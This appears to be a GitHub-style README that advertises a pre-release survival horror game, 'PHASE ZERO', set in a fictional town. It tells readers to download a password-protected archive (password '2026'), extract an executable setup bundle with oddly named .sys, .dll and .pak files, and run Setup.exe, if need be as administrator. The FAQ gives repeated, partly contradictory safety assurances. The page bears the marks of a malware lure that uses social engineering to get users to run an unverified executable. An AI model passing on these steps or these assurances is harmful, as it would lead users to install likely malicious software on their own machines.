Skip to content

About

Early Windows survival horror prototype shared for testing, feedback, and ongoing development.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Latest commit

 

History

1,832 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 

Repository files navigation

🎮 PHASE ZERO

A raw survival horror prototype trapped in Flint Peak.

Status Download Platform

Download · Screenshots · System Requirements


🕹️ About

PHASE ZERO is a classic survival horror game set in Flint Peak, a remote post-industrial harbor town in 1994. A mysterious illness has transformed its residents, and several survivors must explore the town, solve puzzles, scavenge supplies, and face grotesque creatures. This Windows build is an early, unfinished prototype shared for testing and feedback while development continues.

For survival horror players who enjoy slow-burn exploration, puzzles, resource pressure, fixed cameras, and rough experimental builds.

⚠️ This is an early, unfinished pre-release build. The game is under active development: expect bugs, unfinished content, and balance changes.

🔒 The archive is password-protected (2026) as a standard packaging step to keep the build bundled correctly during distribution. Use the password when extracting.

✨ Features

  • 🎒 Scavenged Survival — Use whatever supplies you can find to endure the night.
  • 🧪 Active Prototype — Test an early work-in-progress build and help shape ongoing development.
  • 📖 Chapter-Based Story — Follow multiple survivors through a series of interconnected chapters.
  • 🧩 Environmental Puzzles — Search the town, uncover clues, and solve puzzles to progress.
  • 👹 Grotesque Monsters — Confront mutated creatures and decide when to fight or escape.
  • 🎥 Fixed-Camera Horror — Experience cinematic fixed camera angles inspired by classic 1990s survival horror.
  • 🖼️ Pre-Rendered Environments — Explore detailed pre-rendered backgrounds with a distinct PSX-era visual style.
  • 🏚️ Flint Peak — Explore a snowbound post-industrial harbor town overtaken by a mysterious illness.

📸 Screenshots

Screenshot 1 Screenshot 2 Screenshot 3

💻 System Requirements

Component Minimum Recommended
OS Windows 10 64-bit Windows 11 64-bit
Processor Quad-core Intel or AMD processor at 2.5 GHz Quad-core Intel or AMD processor at 2.5 GHz or faster
RAM 8 GB 8 GB
Graphics NVIDIA GeForce GTX 770 or AMD Radeon R9 280, with DirectX 11 or DirectX 12 support NVIDIA GeForce GTX 770 or AMD Radeon R9 280 or better
Storage 10 GB available space 10 GB available space on an SSD
Additional DirectX 12, 64-bit operating system, sound card DirectX 12, 64-bit operating system, sound card

📦 Installation & Setup

Platform Status
Windows ✅ Supported
macOS ❌ Not supported
Linux ❌ Not supported

Step 1: Download

You can download the build from this page. The archive contains everything you need to run the game.

Step 2: Extract with Password

  1. The archive is password-protected: 2026
  2. Use any archive extractor (WinRAR, 7-Zip, WinZip, etc.)
  3. Enter the password when prompted

Step 3: Extract All Files

  1. Extract all files from the archive to a folder of your choice.
  2. IMPORTANT: All files must be extracted to the same folder.
  3. Do not rename or move individual files — the build expects its folder structure intact.
  4. The folder structure should look like this:
Setup/
|-- Setup.exe <- Main executable
|-- api.pak <- API modules
|-- Password 2026.txt <- Password reminder (empty)
|-- settings.bin <- Configuration
|-- update_1.ini <- Update config
|-- update_1.res <- Update resources
|-- localization.ini <- Language files
|-- uninstall.key <- Uninstall key
|-- animations.dll <- Animation system
|-- audio.res <- Audio resources
|-- installer.dat <- Installer data
|-- physics.sys <- Physics engine
|-- bootstrap.wem <- Bootstrap audio
|-- dlc.md5 <- DLC checksums
|-- res.pak <- Resources archive
|-- patch_1.bnk <- Audio banks
|-- license.bank <- License data
|-- scripts.lic <- Game scripts
|-- driver.umap <- Driver data
|-- lang.sys <- Language system
|-- assets.wem <- Asset audio
|-- launcher.dll <- Launcher library
|-- license.wem <- Audio assets
|-- driver.pak <- Driver archive
|-- global.cfg <- Global settings

Step 4: Launch the Game

  1. Navigate to the folder where you extracted all files.
  2. Run Setup.exe.
  3. The game launcher will appear.

Step 5: Play

  1. Click "Play" in the launcher window.
  2. The game will start with the pre-release build.
  3. Enjoy the build — expect bugs, unfinished content, and balance changes.

⚠️ Note: This is an early, unfinished pre-release build. Some features may be incomplete or broken.

❓ Frequently Asked Questions (FAQ)

Q: Is it safe to download and play? A: Yes — the build is a standalone Windows executable that requires no installation, online authentication, or registry changes. It runs entirely from its own folder and can be removed by simply deleting it.

Q: Why is the archive password-protected? A: The archive uses a password as a standard packaging step so the build stays bundled correctly during distribution. The password is provided in the installation section above.

Q: How often is the build updated? A: Updates are published whenever a new internal snapshot is ready. There is no fixed schedule — the download link in Step 1 always points to the latest available build.

Q: Does this build require an internet connection? A: No. The build runs fully offline. No account, launcher, or online check is required to launch it.

Q: What should I do if the game crashes? A: Crashes are expected in this early stage. Try running the build as administrator, ensure your GPU drivers are up to date, and check the Issues tab for known problems.

Q: Will this affect my official game install or saves? A: No. This build is completely self-contained. It does not interact with your existing game files, save data, cloud sync, or platform libraries. It runs independently and leaves no traces behind after deletion.


If you like this project, consider leaving a ⭐

About

Early Windows survival horror prototype shared for testing, feedback, and ongoing development.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors